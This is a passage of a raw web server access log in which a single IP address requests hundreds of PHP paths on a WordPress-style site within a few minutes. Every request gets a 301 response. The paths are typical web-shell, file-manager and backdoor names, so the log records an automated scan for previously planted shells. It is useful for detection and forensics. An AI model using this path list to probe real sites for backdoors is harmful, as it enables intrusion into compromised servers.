/wp-content/termps.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:53 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:54 -0400] "GET /epdwm.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:55 -0400] "GET /wp-content/plugins/woocommerce/assets/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:56 -0400] "GET /wp-includes/js/codemirror/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:57 -0400] "GET /wp-includes/Text/Diff/Renderer/eqw5de.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:01:59:58 -0400] "GET /wp-includes/css/kses.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:00:00 -0400] "GET /.well-known/acme-challenge/tiny.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:00:02 -0400] "GET /assets/images/206d2bdfbd.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:00:08 -0400] "GET /cvawk.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:00:13 -0400] "GET /df.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:00:16 -0400] "GET /wp-admin/js/widgets/text-widgets.min.js.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:00:18 -0400] "GET /wp-includes/1671b870622bf3admin.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:00:21 -0400] "GET /wp-includes/theme-compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:00:25 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:00:27 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:00:29 -0400] "GET /wp-admin/js/widgets/file.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:00:34 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:00:37 -0400] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:00:38 -0400] "GET /wp-apxupx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:00:39 -0400] "GET /wp-content/uploads/BbUMY/flower.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:00:41 -0400] "GET /wp-includes/Requests/library/about.php7 HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:00:43 -0400] "GET /.well-known/siuqzorv.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:00:44 -0400] "GET /wp-admin/css/colors/coffee/css.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:00:45 -0400] "GET /wp-content/languages/ru_RU_lite.mo.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:00:46 -0400] "GET /.well-known/pki-validation/ahzjhofz.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:00:49 -0400] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:00:51 -0400] "GET /wp-includes/rest-api/fields/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:00:53 -0400] "GET /wp-admin/js/widgets/sxo.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:00:54 -0400] "GET /wp-content/uploads/wp.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:00:55 -0400] "GET /wp-admin/includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:00:56 -0400] "GET /bb.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:00:57 -0400] "GET /components/attari.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:00:58 -0400] "GET /wp-admin/defaults.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:00 -0400] "GET /wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:02 -0400] "GET /special.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:03 -0400] "GET /wp-admin/includes/legendneverdie.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:07 -0400] "GET /wp-content/packed.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:11 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:14 -0400] "GET /wp-includes/css/dist/widgets/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:17 -0400] "GET /cong.php935 HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:18 -0400] "GET /webdb.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:20 -0400] "GET /wp-content/plugins/portfolio-post-type/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:22 -0400] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:25 -0400] "GET /wp-includes/images/smilies/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:26 -0400] "GET /wp-content/languages/file.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:27 -0400] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:27 -0400] "GET /wp-includes/images/wthvideo.min.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:29 -0400] "GET /heh.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:29 -0400] "GET /htaccess.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:30 -0400] "GET /wp-includes/block-patterns/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:30 -0400] "GET /csxcvtg6v?key=51851b87a35f6a6288e1eef649afb2dccss.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:32 -0400] "GET /wp-admin/css/colors/sunrise/HmfdSRigQv.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:34 -0400] "GET /.tmb/plugins.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:35 -0400] "GET /css/plugins.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:36 -0400] "GET /bovaxayy.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:36 -0400] "GET /wp-admin/css/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:37 -0400] "GET /wp-includes/ovackgowa.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:37 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:38 -0400] "GET /shirtkobain/mail.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:38 -0400] "GET /wp-includes/class-json-ajax-session.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:38 -0400] "GET /wp-includes/wp-class-entry-shield.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:39 -0400] "GET /.well-known/tiny.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:39 -0400] "GET /wp-admin/css/upgrade.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:40 -0400] "GET /.well-known/zaza.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:41 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:41 -0400] "GET /bar.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:42 -0400] "GET /head.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:43 -0400] "GET /wp-content/plugins/wxzanln/ovarxggtq.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:43 -0400] "GET /.well-known/acme-challenge/index_php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:43 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:44 -0400] "GET /wp-includes/fonts/plugins.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:44 -0400] "GET /ulc6.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:45 -0400] "GET /wp-content/plugins/hello.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:45 -0400] "GET /asasx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:45 -0400] "GET /wp-content/upgrade/8eNAbZK4gI.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:46 -0400] "GET /.well-known/pki-validation/class_api.php999 HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:46 -0400] "GET /autoloadclassmap.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:46 -0400] "GET /tjspfvjh.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:46 -0400] "GET /wp-content/plugins/erinyani/baxa1.php7 HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:47 -0400] "GET /wp-content/themes/cay-van-phong/skibidi.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:47 -0400] "GET /.well-known/crlunpft.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:47 -0400] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:48 -0400] "GET /wp-includes/images/smilies/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:48 -0400] "GET /wp-content/languages/sxo.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:48 -0400] "GET /wp-content/uploads/6CCPahUZVr.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:49 -0400] "GET /.well-known/pki-validation/akrcovxu.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:49 -0400] "GET /.well-known/xoxo.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:49 -0400] "GET /admin/sxo.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:50 -0400] "GET /wp-admin/images/media-button-other.gif.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:50 -0400] "GET /wp-includes/random_compat/niko.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:51 -0400] "GET /wp-content/plugins/pwnd/1.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:51 -0400] "GET /assets/js/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:52 -0400] "GET /bakvxppf.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:53 -0400] "GET /wp-admin/maint/k.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:53 -0400] "GET /wp-content/languages/themes/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:54 -0400] "GET /duck.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:55 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:55 -0400] "GET /wp-admin/maint/item.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:56 -0400] "GET /.well-known/acme-challenge/wso112233.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:56 -0400] "GET /wander.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:57 -0400] "GET /wp-content/plugins/xolanpf/ovamsmcsg.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:57 -0400] "GET /wp-content/themes/Divi-2/core/ovaawqfhg.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:58 -0400] "GET /wp-includes/media-blogs.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:58 -0400] "GET /wp-content/upgrade/newch.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:58 -0400] "GET /wp-includes/Text/Diff/Renderer/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:59 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:59 -0400] "GET /wp-admin/images/plugins.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:01:59 -0400] "GET /0yhs1bgh.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:00 -0400] "GET /css/text.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:00 -0400] "GET /hvemizso.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:01 -0400] "GET /wp-content/uploads/2023/10/themes.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:01 -0400] "GET /wp-includes/uttiwenl.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:01 -0400] "GET /.well-known/acme-challenge/edii7rIWJF.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:02 -0400] "GET /.well-known/acme-challenge/indec.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:02 -0400] "GET /.well-known/acme-challenge/upfile.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:03 -0400] "GET /b.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:03 -0400] "GET /wp-content/plugins/dxoksvn/ovandccqr.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:04 -0400] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:04 -0400] "GET /.well-known/acme-challenge/lo.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:04 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:05 -0400] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:05 -0400] "GET /wp-content/moderation.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:06 -0400] "GET /.well-known/acme-challenge/fai.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:07 -0400] "GET /wp-admin/maint/plugins.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:07 -0400] "GET /as/function.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:08 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:08 -0400] "GET /files/file_uploader.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:09 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:10 -0400] "GET /wp-content/plugins/ecphbbr/ovadncdwv.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:11 -0400] "GET /wordpress/wp-content/themes/as/radio.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:11 -0400] "GET /cdxadmin.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:11 -0400] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:13 -0400] "GET /wp-admin/css/colors/ectoplasm/JWWwEMipZk.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:14 -0400] "GET /cgi-bin/plugins.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:14 -0400] "GET /rrwrzgsf.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:15 -0400] "GET /wp-admin/css/colors/ectoplasm/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:18 -0400] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:19 -0400] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:19 -0400] "GET /wp-content/themes/404.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:21 -0400] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:21 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:22 -0400] "GET /wp-includes/SimplePie/Cache/checkbex.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:23 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:24 -0400] "GET /images.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:25 -0400] "GET /wp-content/themes/wp-pridmag/lock.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:25 -0400] "GET /wordpress/wp-includes/blocks/list-item/ovabliphi.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:26 -0400] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:27 -0400] "GET /.well-known/pyfskulr.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:28 -0400] "GET /upload/wp-info.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:28 -0400] "GET /wp-includes/Requests/Cookie/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:28 -0400] "GET /wp-includes/css/category-template-1735882605.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:29 -0400] "GET /browse.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:30 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:30 -0400] "GET /wp-content/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:31 -0400] "GET /wp-includes/Text/Diff/Renderer/ltiies.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:31 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:32 -0400] "GET /assets/index1.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:32 -0400] "GET /wp-content/plugins/elementor/includes/ovamstwqf.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:33 -0400] "GET /wp/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:33 -0400] "GET /wp-includes/js/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:33 -0400] "GET /assets/content.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:34 -0400] "GET /baxa1.php8 HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:34 -0400] "GET /wp-admin/includes/media.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:34 -0400] "GET /wp-admin/includes/nav.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:35 -0400] "GET /wp-admin/maint/baxa1.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:35 -0400] "GET /xc.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:36 -0400] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:36 -0400] "GET /ge.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:37 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:37 -0400] "GET /wp-admin/user/plugins.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:37 -0400] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:38 -0400] "GET /cache/d/b/f/e/ovaioxoql.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:39 -0400] "GET /wp-content/plugins/seoxx/randkeyword.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:39 -0400] "GET /wp-includes/ID3/file.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:39 -0400] "GET /.well-known/item.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:40 -0400] "GET /wp-includes/mah.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:40 -0400] "GET /copypaths.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:40 -0400] "GET /uzihbfah.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:41 -0400] "GET /wp-admin/css/colors/midnight/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:41 -0400] "GET /wp-includes/theme-compat/plugins.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:41 -0400] "GET /wp-includes/wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:41 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:42 -0400] "GET /wp-includes/assets/archives-1736057179.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:42 -0400] "GET /wp-includes/php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:43 -0400] "GET /.well-known/acme-challenge/options.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:43 -0400] "GET /.well-known/fm.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:44 -0400] "GET /wordpress/wp-content/plugins/yqeH2A5oLXfIFNVSl856Wm/src/ui/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:44 -0400] "GET /wp-content/plugins/pwnd/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:45 -0400] "GET /.well-known/okercskj.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:45 -0400] "GET /ans.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:46 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:46 -0400] "GET /admin/uploads/Property_5bb750a72c247.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:47 -0400] "GET /wp-admin/network/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:47 -0400] "GET /wp-includes/pomo/ftp_nb_fget.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:48 -0400] "GET /bk/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:48 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:49 -0400] "GET /unsveanq.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:50 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:51 -0400] "GET /.well-known/acme-challenge/inputs.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:51 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:52 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:52 -0400] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:53 -0400] "GET /wp-includes/Text/Diff/Renderer/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:56 -0400] "GET /wp-includes/theme-compat/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:58 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:02:59 -0400] "GET /wp-includes/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:02 -0400] "GET /wp-admin/css/colors/coffee/lofter.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:03 -0400] "GET /click.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:04 -0400] "GET /0.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:05 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:06 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:08 -0400] "GET /wp-admin/includes/12wvdscz.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:09 -0400] "GET /wp-content/dropdown.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:12 -0400] "GET /wp-content/uploads/wpr-addons/forms/cm.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:13 -0400] "GET /.well-known/acme-challenge/object.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:14 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:15 -0400] "GET /uctshcum.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:16 -0400] "GET /wp-admin/js/widgets/install.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [22/Apr/2025:02:03:16 -0400] "GET 